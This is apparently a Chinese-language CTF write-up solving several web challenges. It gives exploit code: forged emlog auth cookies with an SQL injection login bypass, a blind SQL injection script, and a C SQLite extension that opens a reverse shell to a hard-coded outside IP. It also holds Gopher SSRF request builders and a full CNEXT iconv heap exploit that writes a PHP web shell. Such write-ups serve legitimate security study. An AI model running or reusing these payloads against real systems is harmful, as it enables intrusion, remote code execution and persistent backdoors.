战果
只能说还行吧,毕竟刚开始打……
要是会了Python原型链污染和Java反序列化……(
冰雪峡谷
签到题,甚至还有现场教学
结合题目描述肯定是有个WAF了,应该就是需要绕过
审计前端代码,发现博客文章提供的Hint:
打开文章,得知文章大意是说明部分特殊字符(\x09, \xa0, \x0c)会被Nginx解析,但不会被NodeJS解析,可以利用这个特性绕过Nginx路由的限制:
分析后端所有代码,发现flag的静态文件:
然后NodeJS设置的是整个public静态目录,是可以直接访问flag文件的
于是构造Exp,即可获得flag:
迷雾森林
(挂个人)
(其实也有点不同,但是Exp改改居然能用)
(参考文献:https://eddiemurphy89.github.io/2025/02/09/VNCTF2025-WEB/)
根据题目意思,解题分两部分:信息搜集和RCE利用
信息搜集
扫描目录,发现存在git泄露:
使用githack利用工具:
即可得到源码:
RCE利用
审计后端源码,发现后端是emlog的CMS
其实原版0day是伪随机,但是这里简化了
参考原版WP,写出绕过限制的Exp脚本,伪造cookies,写出永真式绕过登录限制:
<?php
function generateAuthCookie($user_login, $expiration)
{
$key = emHash($user_login . '|' . $expiration);
$hash = hash_hmac('md5', $user_login . '|' . $expiration, $key);
return $user_login . '|' . $expiration . '|' . $hash;
}
function emHash($data)
{
return hash_hmac('md5', $data, "pL7fDdNIuK*XSWu60Ia8dhL06ZY1qBk)3fa31b52dd6ebc517e5492d43d77e61c");
}
var_dump(generateAuthCookie("' or 1=1#", 0));
即可得到后台
然后进入“插件”,用emlog的陈年老RCE漏洞利用(参考https://github.com/yangliukk/emlog/blob/main/Plugin%20exploit.zip),上传一个恶意插件(具体过程参考https://github.com/yangliukk/emlog/blob/main/Plugin-getshell.md),即可在content/plugins/shell/shell.php获取phpinfo:
在phpinfo中就可以获取处在环境变量的flag:
Image Hub
这类题第一次做,也算是积累了吧。
首先审计网站后端dotnet源码,发现SQL注入点:
由于是在ORDER BY的后面,考虑SQL布尔盲注,直接上Exp:
import requests
import json
url = 'http://125.220.147.47:49373/api/list'
flag = ''
#这里改变测试字符集,MD5爆破只需要下面的字符集就够,用户名需要全字符集
charset = "ABCDEF0123456789"
for i in range(1,500):
low = 0
high = len(charset)-1
while(low<high):
#这里改变盲注的参数
payload = "CASE WHEN (SELECT substr(Password,{0},1) FROM Users LIMIT 1)='{1}' THEN id ELSE name END".format(i,charset[low])
datas = {
"page": 1,
"sort": payload,
"order": "",
"rules": "",
"limit": "50"
}
res = requests.post(url=url,json=datas)
#print(charset[low])
#print(json.loads(res.content.decode())['images'][0])
if json.loads(res.content.decode())['images'][0]['id']==1:
#print(charset[low],end=' ')
break
else:
low = low+1
flag = flag+charset[low]
print(flag)
得到用户名(admin),以及密码的MD5(这个值会动态改变,重启容器之后就丢了,因为这个耽误了好长的时间淦)
然后结合题目提示,以及源码中硬编码的key(salt),使用Hashcat进行爆破,即可拿到密码登录后台:
hashcat -a 3 -m 0 66A75A35A9898D95FF030D5DCAF1E582 ?1?1?1?1?1?1?1w1ll_siesta_b3come_a_j0ker?? --custom-charset1=?l?u?d
(由于鄙人电脑没有GPU加速爆破,写WP的时候就不爆破了,登录后台之后的过程也就不完全复现了)
拿到密码之后就可以进入后台,然后发现可以进行文件上传。
接下来参考这篇文章:https://cloud.tencent.com/developer/article/2288065
构造用于反弹Shell的恶意文件
源代码:
/* Add your header comment here */
#include <sqlite3ext.h> /* Do not use <sqlite3.h>! */
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <signal.h>
#include <dirent.h>
#include <sys/stat.h>
#include <stdlib.h>
SQLITE_EXTENSION_INIT1
/* Insert your extension code here */
int tcp_port = 6666;
char *ip = "110.42.96.9";
#ifdef _WIN32
__declspec(dllexport)
#endif
int sqlite3_extension_init(
sqlite3 *db,
char **pzErrMsg,
const sqlite3_api_routines *pApi
){
int rc = SQLITE_OK;
SQLITE_EXTENSION_INIT2(pApi);
int fd;
if ( fork() <= 0){
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(tcp_port);
addr.sin_addr.s_addr = inet_addr(ip);
fd = socket(AF_INET, SOCK_STREAM, 0);
if ( connect(fd, (struct sockaddr*)&addr, sizeof(addr)) ){
exit(0);
}
dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);
execve("/bin/bash", 0LL, 0LL);
}
return rc;
}
编译:
gcc -g -fPIC -shared shell.c -o shell.so
后缀改成jpg之后在前端上传恶意图片,然后再用前面的注入点触发自定义的sqllite插件:
即可反弹shell,然后就可以通过反弹的shell获取flag。
熔烬裂谷
SSRF,但是非预期(甚至以为这个是fake flag):
赛后交流得知预期是标准的cnext漏洞利用,但是好像翻了点小车(
熔烬裂谷-revenge
这题真的套娃……而且因为一些原因尝试了很多遍……
说实话这道题真有点渗透测试内味了(
顺带纪念一下第一次拿到唯一解:
接下来是WP正文,写的时候感觉思路链稍微有点长,不过好在除了给了提示的目录那块都还比较清晰
首先,还是普通SSRF,尝试下可以发现本地回环地址80端口有另外一个HTTP服务:
然后,审计前端代码,根据提示找到dawn.php
进去试试看:
发现泄露了网站绝对路径(后面挂马可以用)
然后根据给的提示,可以推测出提示在picture/dawn.txt中,直接访问(这里抓了包来获取):
发现源码
<?php
//reousrce code is in dawn.txt
if (!isset($_POST['url_image'])) {
// 获取图片内容
$imageUrl = 'http://i.postimg.cc/CL9rHhBL/60933562efee5a81ddce9b14f055c8b7.jpg';
$imageData = file_get_contents($imageUrl);
if ($imageData === false) {
die('无法加载图片,请检查 URL 是否正确。');
}
// 将图片内容转换为 base64 编码
$base64Image = base64_encode($imageData);
//存入图库
file_put_contents('./picture/image.jpg', $imageData);
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Your image</title>
<style>
body {
font-family: Arial, sans-serif;
text-align: center;
padding: 50px;
}
img {
max-width: 100%;
height: auto;
border-radius: 10px;
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2);
}
</style>
</head>
<body>
<h1>Your image</h1>
<img src="data:image/jpeg;base64,<?php echo $base64Image; ?>" alt="动态图片">
</body>
</html>
<?php
} else if (isset($_POST['url_image'])) {
echo file_get_contents($file);
}
?>
<script>
alert("The image has been saved in the gallery")
</script>
审计源码,发现dawn.php接收一个post参数,但我们只能传一个get参数,随后便考虑使用Gopher伪协议(因为外层环境似乎只有Gopher和Http没有被过滤)去打内网的POST
同时看到了file_get_contents,考虑cnext的洞(https://github.com/kezibei/php-filter-iconv/tree/main)。
随后利用思路就可以确定了:Gopher伪协议构造POST请求,file_get_contents触发cnext漏洞实现RCE
但由于题目RCE无回显,而且不出网,考虑挂个一句话木马
接下来是实操:
1. Gopher构造POST请求
from urllib import parse
#php://filter/convert.base64-encode/resource=/proc/self/maps
#注意后面一定要有回车,回车结尾表示http请求结束
s1 = input('exp')
test =\
f"""POST /dawn.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: {len(s1)+10}
url_image={s1}
"""
print(test)
tmp = parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result = '_'+new
result = parse.quote(result)
print(result)
2. 获取/proc/self/maps:
3. 读maps,构造exp获取libc:
4. 构造恶意请求(cmd部分是执行的RCE指令,经测试发现只有dawn.php可以通过写入的方式利用,于是便写了一个一句话木马)
#<?php
#$file = $_REQUEST['file'];
#$data = file_get_contents($file);
#echo $data;
from dataclasses import dataclass
from pwn import *
import zlib
import os
import binascii
HEAP_SIZE = 2 * 1024 * 1024
BUG = "劄".encode("utf-8")
@dataclass
class Region:
"""A memory region."""
start: int
stop: int
permissions: str
path: str
@property
def size(self):
return self.stop - self.start
def print_hex(data):
hex_string = binascii.hexlify(data).decode()
print(hex_string)
def chunked_chunk(data: bytes, size: int = None) -> bytes:
"""Constructs a chunked representation of the given chunk. If size is given, the
chunked representation has size `size`.
For instance, `ABCD` with size 10 becomes: `0004\nABCD\n`.
"""
# The caller does not care about the size: let's just add 8, which is more than
# enough
if size is None:
size = len(data) + 8
keep = len(data) + len(b"\n\n")
size = f"{len(data):x}".rjust(size - keep, "0")
return size.encode() + b"\n" + data + b"\n"
def compressed_bucket(data: bytes) -> bytes:
"""Returns a chunk of size 0x8000 that, when dechunked, returns the data."""
return chunked_chunk(data, 0x8000)
def compress(data) -> bytes:
"""Returns data suitable for `zlib.inflate`.
"""
# Remove 2-byte header and 4-byte checksum
return zlib.compress(data, 9)[2:-4]
def ptr_bucket(*ptrs, size=None) -> bytes:
"""Creates a 0x8000 chunk that reveals pointers after every step has been ran."""
if size is not None:
assert len(ptrs) * 8 == size
bucket = b"".join(map(p64, ptrs))
bucket = qpe(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = compressed_bucket(bucket)
return bucket
def qpe(data: bytes) -> bytes:
"""Emulates quoted-printable-encode.
"""
return "".join(f"={x:02x}" for x in data).upper().encode()
def b64(data: bytes, misalign=True) -> bytes:
payload = base64.b64encode(data)
if not misalign and payload.endswith("="):
raise ValueError(f"Misaligned: {data}")
return payload
def _get_region(regions, *names):
"""Returns the first region whose name matches one of the given names."""
for region in regions:
if any(name in region.path for name in names):
break
else:
failure("Unable to locate region")
return region
def find_main_heap(regions):
# Any anonymous RW region with a size superior to the base heap size is a
# candidate. The heap is at the bottom of the region.
heaps = [
region.stop - HEAP_SIZE + 0x40
for region in reversed(regions)
if region.permissions == "rw-p"
and region.size >= HEAP_SIZE
and region.stop & (HEAP_SIZE-1) == 0
and region.path == ""
]
if not heaps:
failure("Unable to find PHP's main heap in memory")
first = heaps[0]
if len(heaps) > 1:
heaps = ", ".join(map(hex, heaps))
print("Potential heaps: "+heaps+" (using first)")
else:
print("[*]Using "+hex(first)+" as heap")
return first
def get_regions(maps_path):
"""Obtains the memory regions of the PHP process by querying /proc/self/maps."""
f = open('maps','rb')
maps = f.read().decode()
PATTERN = re.compile(
r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)"
)
regions = []
for region in maps.split("\n"):
#print(region)
match = PATTERN.match(region)
if match :
start = int(match.group(1), 16)
stop = int(match.group(2), 16)
permissions = match.group(3)
path = match.group(4)
if "/" in path or "[" in path:
path = path.rsplit(" ", 1)[-1]
else:
path = ""
current = Region(start, stop, permissions, path)
regions.append(current)
else:
print("[*]Unable to parse memory mappings")
print("[*]Got "+ str(len(regions)) + " memory regions")
return regions
def get_symbols_and_addresses(regions):
# PHP's heap
heap = find_main_heap(regions)
# Libc
libc_info = _get_region(regions, "libc-", "libc.so")
return heap, libc_info
def build_exploit_path(libc, heap, sleep, padding, cmd):
LIBC = libc
ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
ADDR_EFREE = LIBC.symbols["__libc_system"]
ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]
ADDR_HEAP = heap
ADDR_FREE_SLOT = ADDR_HEAP + 0x20
ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168
ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10
CS = 0x100
# Pad needs to stay at size 0x100 at every step
pad_size = CS - 0x18
pad = b"\x00" * pad_size
pad = chunked_chunk(pad, len(pad) + 6)
pad = chunked_chunk(pad, len(pad) + 6)
pad = chunked_chunk(pad, len(pad) + 6)
pad = compressed_bucket(pad)
step1_size = 1
step1 = b"\x00" * step1_size
step1 = chunked_chunk(step1)
step1 = chunked_chunk(step1)
step1 = chunked_chunk(step1, CS)
step1 = compressed_bucket(step1)
# Since these chunks contain non-UTF-8 chars, we cannot let it get converted to
# ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash"
step2_size = 0x48
step2 = b"\x00" * (step2_size + 8)
step2 = chunked_chunk(step2, CS)
step2 = chunked_chunk(step2)
step2 = compressed_bucket(step2)
step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN)
step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
step2_write_ptr = chunked_chunk(step2_write_ptr)
step2_write_ptr = compressed_bucket(step2_write_ptr)
step3_size = CS
step3 = b"\x00" * step3_size
assert len(step3) == CS
step3 = chunked_chunk(step3)
step3 = chunked_chunk(step3)
step3 = chunked_chunk(step3)
step3 = compressed_bucket(step3)
step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG
assert len(step3_overflow) == CS
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = compressed_bucket(step3_overflow)
step4_size = CS
step4 = b"=00" + b"\x00" * (step4_size - 1)
step4 = chunked_chunk(step4)
step4 = chunked_chunk(step4)
step4 = chunked_chunk(step4)
step4 = compressed_bucket(step4)
# This chunk will eventually overwrite mm_heap->free_slot
# it is actually allocated 0x10 bytes BEFORE it, thus the two filler values
step4_pwn = ptr_bucket(
0x200000,
0,
# free_slot
0,
0,
ADDR_CUSTOM_HEAP, # 0x18
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
ADDR_HEAP, # 0x140
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
size=CS,
)
step4_custom_heap = ptr_bucket(
ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18
)
step4_use_custom_heap_size = 0x140
COMMAND = cmd
COMMAND = f"kill -9 $PPID; {COMMAND}"
if sleep:
COMMAND = f"sleep {sleep}; {COMMAND}"
COMMAND = COMMAND.encode() + b"\x00"
assert (
len(COMMAND) <= step4_use_custom_heap_size
), f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}"
COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")
step4_use_custom_heap = COMMAND
step4_use_custom_heap = qpe(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)
pages = (
step4 * 3
+ step4_pwn
+ step4_custom_heap
+ step4_use_custom_heap
+ step3_overflow
+ pad * padding
+ step1 * 3
+ step2_write_ptr
+ step2 * 2
)
resource = compress(compress(pages))
resource = b64(resource)
resource = f"data:text/plain;base64,{resource.decode()}"
filters = [
# Create buckets
"zlib.inflate",
"zlib.inflate",
# Step 0: Setup heap
"dechunk",
"convert.iconv.latin1.latin1",
# Step 1: Reverse FL order
"dechunk",
"convert.iconv.latin1.latin1",
# Step 2: Put fake pointer and make FL order back to normal
"dechunk",
"convert.iconv.latin1.latin1",
# Step 3: Trigger overflow
"dechunk",
"convert.iconv.UTF-8.ISO-2022-CN-EXT",
# Step 4: Allocate at arbitrary address and change zend_mm_heap
"convert.quoted-printable-decode",
"convert.iconv.latin1.latin1",
]
filters = "|".join(filters)
path = f"php://filter/read={filters}/resource={resource}"
path = path.replace("+", "%2b")
return path
maps_path = './maps'
cmd = 'echo \'<? @system($_GET["cc"]); ?>\' > /var/www/html/dawn.php'
sleep_time = 1
padding = 20
if not os.path.exists(maps_path):
exit("[-]no maps file")
regions = get_regions(maps_path)
heap, libc_info = get_symbols_and_addresses(regions)
libc_path = libc_info.path
print("[*]download: "+libc_path)
libc_path = './libc'
if not os.path.exists(libc_path):
exit("[-]no libc file")
libc = ELF(libc_path, checksec=False)
libc.address = libc_info.start
payload = build_exploit_path(libc, heap, sleep_time, padding, cmd)
print("[*]payload:")
print(payload)
5. 再利用一次Gopher,触发RCE
6. 前端利用一句话木马进行带回显RCE,即可获取flag
龙之试炼
其实最后考的点还挺简单的
后来因为避免爆0变成白盒了,确实会方便很多(毕竟不用“渗透”了)
首先审计源码,发现WAF过滤了引号等一些特殊符号,但是没有过滤美元符号和大括号,而且是直接写入成了一个php文件,可以考虑使用PHP语言特性来实现一个类似SSTI的攻击
然后痛快地写入我们的危险指令
(趣事:之前一直在尝试别的指令,直到不断查资料以及问AI试到passthru,在本地测试的时候被火绒拦截了,然后我就知道确实写对了)
最后就可以愉快地进行RCE了:
给出关键附件后考点确实挺单一,也难怪没提示了(
屠龙篇章通关!!!